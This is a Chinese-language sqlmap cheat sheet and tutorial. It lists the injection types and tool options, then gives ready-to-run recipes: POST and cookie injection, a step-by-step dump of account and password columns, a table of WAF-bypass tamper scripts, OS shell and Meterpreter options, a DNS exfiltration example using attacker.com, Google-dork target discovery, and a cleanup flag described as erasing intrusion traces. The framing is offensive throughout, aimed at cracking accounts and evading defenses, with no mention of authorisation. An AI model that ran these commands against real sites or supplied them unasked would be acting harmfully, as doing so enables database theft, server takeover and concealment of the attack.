SQL注入的类型
1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入
2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(也就是根据页面返回时间是否增加)来判断
3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
4.联合查询注入,可以使用union的情况下的注入
5.堆查询注入,可以同时执行多条语句的执行时的注入
SQLMAP对URL的操作
1.判断可注入的参数
2.判断可以用哪种SQL注入技术来注入
3.识别出哪种数据库
4.根据用户选择,读取哪些数据
SQLMAP支持的数据库
MySQL,Oracle,PostgreSQL
Microsoft SQL Server,Microsoft Access,IBM DB2
SQLite,Firebird,Sybase,SAP MaxDB
必备骚操作参数
一、观察注入数据
sqlmap –v [args]此参数共有七个等级,默认等级为一级
0 只显示python错误以及严重信息
1 同时显示基本信息和警告信息(默认)
2 同时显示debug信息
3 同时显示注入的payload
4 同时显示HTTP请求
5 同时显示HTTP响应头
6 同时显示HTTP相应页面
【如果想看到测试的payload就用等级3】
二、获取目标方式
1.直接连接到数据库
参数:-d
对单个数据库实例运行sqlmap
python sqlmap.py -d "mysql://admin:admin@192.168.1.2:3306/testdb" -f --banner --dbs --users
2.目标URL
参数:-u或者—url
URL格式要求:http(s)://targeturl[:port]/[…]
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
3.从Burp或WebScarab代理中获取日志
参数:-l
把Burp proxy或者WebScarab proxy中的日志直接导出来交给sqlmap检测
4.从文本中获取多个目标扫描
参数:-m
URL保存在文本中,sqlmap会一个一个检测
5.从文件中加载HTTP请求
参数:-r
【可以跳过设置一些其他参数比如cookie,POST数据】
当请求是HTTPS的时候要配合—force-ssl参数来使用,或者你可以在Host头后面加上:443
6.处理Google的搜索结果
参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数
python sqlmap.py -g "inurl:".php?id=1""
7.从一个配置加载选项INI文件
参数:-c
加载sqlmap.conf文件里面的相关配置
三、请求方式
1.http数据
参数:–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
2.参数拆分字符
参数:–param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
python sqlmap.py -u “http://www.target.com/vuln.php" –data=”query=foobar;id=1” –param-del=”;” -f –banner –dbs –users
3.HTTP cookie头
参数:–cookie/–load-cookies/–drop-set-cookie
a.web应用需要登陆的时候
b.你想要在这些头参数中测试SQL注入时
如果你不想接受set-cookie可以使用—drop-set-cookie参数来拒接
4.HTTP User-Agent头
参数:–user-agent/–random-agent
【可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user- agents.txt中获取】
当–level参数设定为3或者3以上的时候,会尝试对User-agent进行注入
5.HTTP Host头
参数:–host
可以手动设置HTTPHost头的值
6.HTTP Referer头
参数:–referer
可以在请求中伪造HTTP中的referer,当—level参数设定为3或者3以上时候会尝试对referer注入
7.额外的HTTP头
参数:–headers
可以通过以上参数来增加额外的http头
8.HTTP认证保护
参数:–auth-type,–auth-cred
登陆HTTP的认证保护支持三种方式:
1.Basic
2.Digest
3.NTLM
python sqlmap.py -u “http://www.target.com/vuln.php?id=1" –auth-type Basic –auth-cred “testuser:testpwd”
9.HTTP协议的证书认证
参数:–auth-type或–auth-cert
当web服务器需要客户端证书进行身份认证时,需要提供两个文件:key_file,cert_file
key_file是格式为PEM文件,包含着私钥,cert_file是格式为PEM的连接文件
10.HTTP协议私有密钥身份认证
参数:–auth-private
当web服务器需要客户端私钥证书进行身份认证时,需要提供PEM格式包含私钥的key_file
11.HTTP(S)代理
参数:–proxy,–proxy-cred,–ignore-proxy
使用–proxy代理格式:http://url:port
当http(s)需要认证是可以使用—proxy-cred参数:username:password
–ignore-proxy是拒绝使用本地局域网的http(s)代理
12.Tor网络匿名
参数:–tor,–tor-port,–tor-type和–check-tor
配置好tor后,sqlmap使用–tor参数会自动尝试连接tor,使用tor网络进行数据提交。
13.HTTP请求延迟
参数:–delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
14.设定超时时间
参数:–timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10就代表10s,默认是30s
15.设定重试超时
参数:–retries
当HTTP(S)超时时,可以设定重试连接次数,默认3次
16.设置随机改变的参数值
参数:–randomize
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
17.利用正则过滤目标网址
参数:–scope
python sqlmap.py -l burp.log –scope=”(www)?.target.(com|net|org)”
18.避免过多的错误请求被屏蔽
参数:–safe-url,–safe-freq
有的web应用程序会在你多次访问错误的请求后,触发防护策略,导致以后无法进行
1.—safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下
2.—safe-freq:提供一个安全不错误的连接,每次测试请求后都会再访问一次正常连接。
19.使用SSL/HTTPS
参数:–force-ssl
如果用户想要强迫使用HTTPS或SSL则使用该参数
20.关掉URL参数值编码
参数:–skip-urlencode
根据参数位置,他的值默认会被URL编码,但是有时候目标web服务器不遵守RFC标准,只接受不经过URL编码的值,这个时候使用该参数。
21.每次请求时候执行自定义的python代码
参数:–eval
在有些时候,需要根据某个参数值的变化,而修改另一个参数,才能形成正常的请求,这时可以用—eval参数在每次请求时根据所写python代码做完修改后的请求。 python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=lsddjflka23" –eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
四、优化
1.收集优化
参数:-o
这个参数是一个别名,隐式的设置以下选项:
–keep-alive
–null-connection
–threads=3
2.输出预测
参数:–predict-output
这是用于推理算法顺序检索的值的字符统计预测
3.HTTP活动
参数:–keep-alive
使用持久连接
4.HTTP空连接
参数:–null-connection
可以用于盲注区分trus和false响应
5.并发HTTP(S)请求
参数:–threads
可以指定并发HTTP(S)请求的最大数量,并发请求的最大数量设置10
五、探测
1.测试参数
参数:-p,–skip
当你使用—level的值很大但是有个别参数不想测试的时候可以使用—skip参数
–skip=”user-agent.referer”
2.URI注入点
参数:-u
python sqlmap.py -u “http://www.target.com/vuln/param1/vuln1*/param2"
3.指定数据库
参数:–dbms
sqlmap会自动探测web的应用后端数据库是什么
4.风险等级
参数:–risk
共有四个风险等级,默认是1,会探测大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
5.页面比较
参数:–string,–not-string,–regexp,–code
参数:–text-only,–titles
在默认情况下区别true和false的布尔型注入,在这些参数中是比较原网页和探测注入后的不一样。
六、注入技术
1.测试是否是注入
参数:–technique
B:Boolean- based blind SQL injection(布尔型注入) E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(联合查询注入)
S:Stacked queries SQL injection(多语句查询注入)
T:Time-based blind SQL injection(基于时间延迟注入)
2.设定延时注入的时间
参数:–time-sec
当使用基于时间的盲注时,使用这个参数设定延时时间,默认是五秒
3.设定UNION查询字段数
参数:–union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
4.设定UNION查询使用的字符
参数:–union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。
5.DNS泄露攻击
参数:–dns-domain
假设攻击者控制着某域名(例如:attacker.com)的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。
这时攻击者就可以使用“–dns-domain attacker.com”来进行DNS泄露攻击。
6.二阶SQL注入
参数:–second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。
七、指纹
数据库管理系统指纹
参数:-f或–fingerprint
这个参数是对后端的数据库进行识别 其实默认地sqlmap会自动对注入目标进行数据库管理系统指纹识别。
八、列数据
1.标志
参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
2.用户
参数:–current-user sqlmap在大多数据库中可以获取到管理数据的用户
3.当前数据库
参数:–current-db 返还当前连接的数据库
4.当前用户是否为管理员
参数:–is-dba 判断当前的用户是否为管理,是的话会返回True
5.列数据库管理用户
参数:–users 当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户
6.列出并破解数据库用户的hash
参数:–passwords
当前用户有权限读取包含用户密码的库的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
python sqlmap.py -u “http://www.target.com/vuln.php?id=1" –passwords -v 1
也可以提供-U参数来指定爆破哪个用户的hash
7.列出数据库管理员权限
参数:–privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限
8.列出数据库管理员角色
参数:–roles 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色
仅适用于当前数据库是Oracle的时候
9.列出数据库系统的数据库
参数:–dbs 当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库
10.列举数据库表
参数:–tables,–exclude-sysdbs,-D 当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指排除包含了所有数据库名的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
11.列举数据库表中的字段
参数:–columns,-C,-T,-D 当前用户有权限读取包含所有数据库表信息的表中数据的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
12.获取表中数据个数
参数:–count 有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数
13.获取整个表的数据
参数:–dump,-C,-T,-D,–start,–stop,–first,–last 如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取整个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。 可以获取指定库中的所有表的内容,使用–dump跟-D参数(不使用-T与-C参数)。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可使用–stop 1,如果想获取第二段与第三段数据,使用参数–start 1 –stop 3。
也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 –last 5,这些参数只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。
14.获取所有数据库表的内容
参数:–dump-all,–exclude-sysdbs 使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中,master数据库没有被考虑成为一个系统数据库,因为有的管理员会把当用户数据库一样来使用它。
15.搜索字段,表,数据库
参数:–search,-C,-T,-D –search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。 可以在一下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
16.运行自定义的SQL语句
参数:–sql-query,–sql-shell sqlmap默认会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
九、爆破
1.暴力破解表名
参数:–common-tables 当使用–tables无法获取到数据库的表时,可以使用此参数。通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。2、数据库是MicrossoftAccess,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
2.暴力破解列名
参数:–common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。
十、用户自定义函数注入
用户自定义函数(UDF) 参数:–udf-inject,–shared-lib 你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中的共享库,DLL,或者Linux/Unix中共享对象,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
十一、系统文件操作
1.从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
2.把文件上传到数据库服务器中
参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
十二、操作系统
1.运行任意操作系统命令
参数:–os-cmd,–os-shell 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval(),那么他创建的这两个函数可以执行系统命令。
在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。
用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:
1、ASP
2、ASP.NET
3、JSP
4、PHP
2.Meterpreter配合使用
参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4、通过溢出Microsoft SQL Server2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof
十三、对windows注册表操作
满足以下条件就可以对Windows注册表进行操作:
目标数据库管理系统是运行在Windows上的
目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server
支持堆查询
目标数据库管理系统当前用户有足够的权限
1.读Windows注册表键值
参数:–reg-read
2.写Windows注册表键值
参数:–reg-add
3.删除Windows注册表键值
参数:–reg-del
4.注册表辅助选项
参数:–reg-key、–reg-value、–reg-data和–reg-type
适当使用上列参数就可以在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以交互方式提供数据。
–reg-key:指定Windows注册表键值的路径
–reg-value:指定Windows注册表键值的键
–reg-data:指定Windows注册表键值的值
–reg-type:指定Windows注册表键值的值的数据类型
十四、其他
1.使用简写
参数:-z
有些参数组合是被经常用到的,如“–batch –random-agent –ignore-proxy –technique=BEU”,这样写一大串很不好看,在Sqlmap中,提供了一种简写的方式来缩短命令长度。
利用参数“-z”,每个参数都可以只写前几个字母,如“–batch”可以简写为“bat”。简写的原则是能够有所区别、对应的参数唯一就行。各个参数用逗号隔开。如: python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1"
2.在成功检测到注入点时报警
参数:–alert
该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如:
python sqlmap.py -r data.txt –alert “notify-send ‘找到漏洞了’“
上例中用于发出警报的命令是Ubuntu中的notify-send命令
3.设置问题的回答
参数:–answers
使用“–batch”以非交互模式运行时所有问题都以按默认值作为回答。有时不想以默认值为答案又想使用非交互模式,此时可以使用参数“–answers”对特定问题进行回答,若回答多个问题,以逗号分隔。如:
python sqlmap.py -u “http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E –answers=”extending=N” –batch
4.在成功检测到注入点时发出“嘟”声
参数:–beep
使用此参数可以在成功检测到注入点时发出“嘟”声。使用“-m”从日志文件中检测大量网站时该参数会格外有用
5.清除sqlmap创建的临时表和自定义函数
参数:–cleanup
强烈推荐在测试结束后使用此参数清除sqlmap创建的临时表和自定义函数,sqlmap会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。
6.检查依赖
参数:–dependencies
sqlmap的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装,如:
python sqlmap.py –dependencies
7.关闭彩色输出
参数:–disable-coloring
8.指定使用Google dork结果的某页
参数:–gpage
使用参数“-g”时默认默认选择Google dork结果的前100条做注入测试。结合使用此参数,可以指定使用Google dork结果的某页。
9.使用HTTP参数污染
参数:–hpp
HTTP参数污染是绕过WAF/IPS/IDS的一种技术,这一技术针对ASP/IIS和ASP.NET/IIS平台尤其有效。如果怀疑目标受WAF/IPS/IDS保护,可以尝试用此参数进行绕过。
10.彻底检测WAF/IPS/IDS
参数:–identify-waf
sqlmap可以识别WAF/IPS/IDS以便用户进行针对性操作(如:添加“–tamper”)。目前sqlmap支持检测30多种不同的WAF/IPS/IDS,如Airlock和Barracuda WAF等。检测WAF的脚本可以在安装目录的waf目录中找到。
python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" –identify-waf -v 3
参数:–skip-waf
默认地sqlmap会发送虚假的SQL注入playload以试探目标是否有保护措施。如有任何问题,用户可以使用参数“–skip-waf”来禁用这一技术。
11.模仿智能手机
参数:–mobile
有些网站对智能手机和桌面环境的返回是不同的。当需要测试这种网站的智能手机页面时可以设置一个智能手机的User-Agent,或者更简单地,使用此参数,Sqlmap会在执行时询问要模仿成流行的手机中的哪种
12.离线模式(仅仅使用会话数据)
参数:–offline
添加此参数,sqlmap将仅仅使用以前存储的会话数据做测试而不向目标发送任何数据包。
13.在Google dork中展示页面权重
参数:–page-rank
与参数“-g”一起使用,这会使sqlmap向Google发起更多的请求并展示页面权重
14.从输出目录中安全移除所有内容
参数:–purge-output
当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除,不仅仅是删除,而是在删除前先用随机数据覆盖原有数据,甚至对文件名和目录名也进行重命名以覆盖旧名称,所有覆盖工作完成后才执行删除。最后,输出目录中会一无所有。如:
python sqlmap.py –purge-output -v 3
15.快速扫描
参数:–smart
当有大量URL要进行测试(如:“-m”),目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试,其余URL均被跳过。
16.通过关键词使用或跳过payload
参数:–test-filter
若只想使用包含关键词“ROW”的payload可使用参数“–test-filter=ROW”。下面是以Mysql为目标的例子:
python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" –batch –test-filter=ROW
参数:–test-skip
若不想使用包含关键词“BENCHMARK”的payload可使用参数“–test-skip=BENCHMARK”。
17.交互式sqlmap Shell
参数:–sqlmap-shell
使用此参数可以打开一个交互式的sqlmap Shell,支持历史记录。
18.为初学者准备的简单向导
参数:–wizard
sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。
一把梭之脚本
穿WAF脚本
脚本穿waf(space2hash.py,base64encode.py, charencode.py不同的的脚本针对不同的数据库或者开发环境):
-u xxx -v 3 –dbs –batch –tamper”space2morehash.py”
一把梭之Post注入
方法一:
sqlmap.py -r test.txt -p “抓包到的post数据里面的其中一个post参数” –dbs
解释意思:sqlamp进行post注入并且假如存在注入就返回数据库的信息,test.txt文档就是对网页抓到的包全选数据包内容然后保存为test.txt文件,直接-r test.txt是把文档放在与sqlmap同一目录下的才行。-p是指定参数注入,更精准
假如不是放在与sqlmap同一目录下的话,那么就是sqlmap.py -r D:test.txt -p “抓包到的post数据里面的其中一个post参数” –dbs
方法二:
sqlmap.py -u “存在注入的url,一般多用于后台” –data=”抓到的post包的最后一行的内容” -p “指定post包里面的某一个参数”
方法三:
假设有个网站,url地址为
http://www.127.0.0.1/base64?id=10
假如想测试这个页面是否有post注入用这个方式:
sqlmap.py -u “http://www.127.0.0.1/base64” –data=”id=10” -f –banner –dbs
方法四:
自动注入方法
sqlmap.py -u “http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)” –forms
一般用于后台注入。
一把梭之cookie注入
方法一:
假设有个网站,url地址为http://www.127.0.0.1/base32?id=45
假如想测试这个页面是否有cookie注入
采用的注入方式如下:sqlmap.py -u “http://www.127.0.0.1/base32” –data=”id=10” –dbs –level 2
解释:level 2是探测等级的意思,这里采用注入选择探测等级为2,当探测等级为2或2以上sqlmap是会尝试注入cookie参数的
方法二:
sqlmap.py -u “存在注入url” –cookie=”抓包抓到的cookie”
或者是这样使用:sqlmap.py -u “存在注入url” –cookir=”抓包抓到的cookie” –level 2 //前面讲过了探测等级为2就注入cookie参数的
一次sqlmap注入某注入点并且dump出账号密码全程
判断注入点:sqlmap.py -u “存在注入url”
爆出所有数据库名字:sqlmap.py -u “存在注入url” –dbs
查看当前使用账号:sqlmap.py -u “存在注入url” –current-user
//打**的是关键看我下面的四步走
1、**查看当前数据库:sqlmap.py -u “存在注入url” –current-db
2、**列出数据库中所有表:sqlmap.py -u “存在注入url” –tables,除了这样也可以这样整,如下所示:sqlmap.py -u “存在注入url” -D “当前数据库名” –tables //解释说明:-D是指定数据库名称。
3、**-T是指定列要出字段的表,就是数据库中的表名。
列出数据库中的表中的字段:sqlmap.py -u “存在注入url” -D “当前数据库名” -T “数据库中的随意一张表(选取表需要自己判断)” –columns。
4、**跑出来表中的字段然后暴力拆解账号和密码,一般字段账号密码都是user/pass/password/username/keyword这些等等,自己找敏感的字段然后进行拆解。
-C指定要暴力拆解的字段
暴力拆解账号密码:sqlmap.py -u “存在注入url ” -D “当前数据库名” -T “数据库中的随意一张表(选取表需要自己判断)” -C “username,password,email(columns(字段)中疑似网站账号密码邮箱等敏感字段,举例子说明)” –dump
–dump将结果导出。
四步走有异曲同工之处,不管是什么方式的注入他们的方法都不会变。
SQLMAP –tamper 绕过WAF脚本
支持的数据库 | 编号 | 脚本名称 | 作用 |
---|---|---|---|
all | 1 | apostrophemask.py | 用utf8代替引号 |
2 | base64encode.py | 用base64编码替换 | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | |
4 | space2plus.py | 用 替换空格 | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | |
8 | securesphere.py | 追加特制的字符串 | |
mssql | 9 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) |
10 | equaltolike.py | like 代替等号 | |
11 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | |
12 | space2mssqlhash.py | 替换空格 | |
13 | between.py | 用between替换大于号(>) | |
14 | percentage.py | asp允许每个字符前面添加一个%号 | |
15 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | |
16 | charencode.py | url编码 | |
17 | randomcase.py | 随机大小写 | |
18 | charunicodeencode.py | 字符串 unicode 编码 | |
19 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | |
mysql >= 5.1.13 | 20 | equaltolike.py | like 代替等号 |
21 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | |
22 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | |
23 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | |
24 | space2mssqlhash.py | 替换空格 | |
25 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | |
26 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | |
27 | between.py | 用between替换大于号(>) | |
28 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | |
29 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | |
30 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。然后替换=为like | |
31 | percentage.py | asp允许每个字符前面添加一个%号 | |
32 | charencode.py | url编码 | |
33 | randomcase.py | 随机大小写 | |
34 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | |
35 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | |
36 | charunicodeencode.py | 字符串 unicode 编码 | |
37 | versionedmorekeywords.py | 注释绕过 | |
MySQL < 5.1 | 38 | halfversionedmorekeywords.py | 关键字前加注释 |
39 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 | |
MySQL >= 5.1.13 | 40 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 |
Oracle | 41 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 |
42 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | |
43 | between.py | 用between替换大于号(>) | |
44 | charencode.py | url编码 | |
45 | randomcase.py | 随机大小写 | |
46 | charunicodeencode.py | 字符串 unicode 编码 | |
47 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | |
PostgreSQL | 48 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 |
49 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | |
50 | between.py | 用between替换大于号(>) | |
51 | percentage.py | asp允许每个字符前面添加一个%号 | |
52 | charencode.py | url编码 | |
53 | randomcase.py | 随机大小写 | |
54 | charunicodeencode.py | 字符串 unicode 编码 | |
55 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | |
Access | 56 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 |
其他 | 57 | chardoubleencode.py | 双url编码(不处理以编码的) |
58 | unmagicquotes.py | 宽字符绕过 GPC addslashes | |
59 | randomcomments.py | 用/**/分割sql关键字 |
SQLMAP实战操作:
1.ACCESS数据库:
sqlmap.py -u “url” /*-u为常规扫描参数*/
sqlmap.py -u “url” –tables /*–tables拆数据库表*/
sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/
sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/
2.MYSQL数据库:
sqlmap.py -u “url” /*扫描注入点*/
sqlmap.py -u “url” –dbs /*列出所有数据库*/
sqlmap.py -u “url” –current-db /*列出当前数据库*/
sqlmap.py -u “url” –current-user /*列出当前用户*/
sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/
sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/
sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”
3.SQLSERVER数据库:
<!--sqlmap.py -u “url” /*扫描注入点*/-->
<!--sqlmap.py -u “url” –dbs /*列出所有数据库*/-->
<!--sqlmap.py -u “url” –current-db /*列出当前数据库*/-->
<!--sqlmap.py -u “url” –current-user /*列出当前用户*/-->
<!--sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/-->
<!--sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/-->
<!--sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”-->
<!--SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!-->
4.COOKIE注入:
sqlmap.py -u “[www.xxx.com/asp](http://www.xxx.com/asp)或者[www.xxx.com/php](http://www.xxx.com/php)” –cookie
“参数名如id=1” –level 2/level为提升权限/
什么数据库就按照上面的数据库加上cookie语句拆解就行了
5.POST注入:
抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”
sqlmap.py -u “url” –data “POST参数”
6.执行shell命令:
sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/
sqlmap.py -u “url” –os-shell /*系统交互的shell*/
7.注入HTTP请求 :
sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/
8.绕过WAF的tamper插件使用:
sqlmap.py -u “url” –tamper “xxx.py”
sqlmap.py -u “url” –tamper=”xxx.py”
9.将注入语句插入到指定位置:
sqlmap.py -u “url([www.xxx.com/id/1](http://www.xxx.com/id/1)*.html)” –dbs
有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。
在使用HTTP注入时使用-r参数也可以直接在文本中添加*号
10.延时注入:
sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/
sqlmap –dbs -u “url” –safe-freq /*请求2次*/
11.使用谷歌语法搜索注入(Google hack):
sqlmap.py -g “inurl:asp?id=1” /*””内为搜索语法,如:inurl,intitle,site,filetype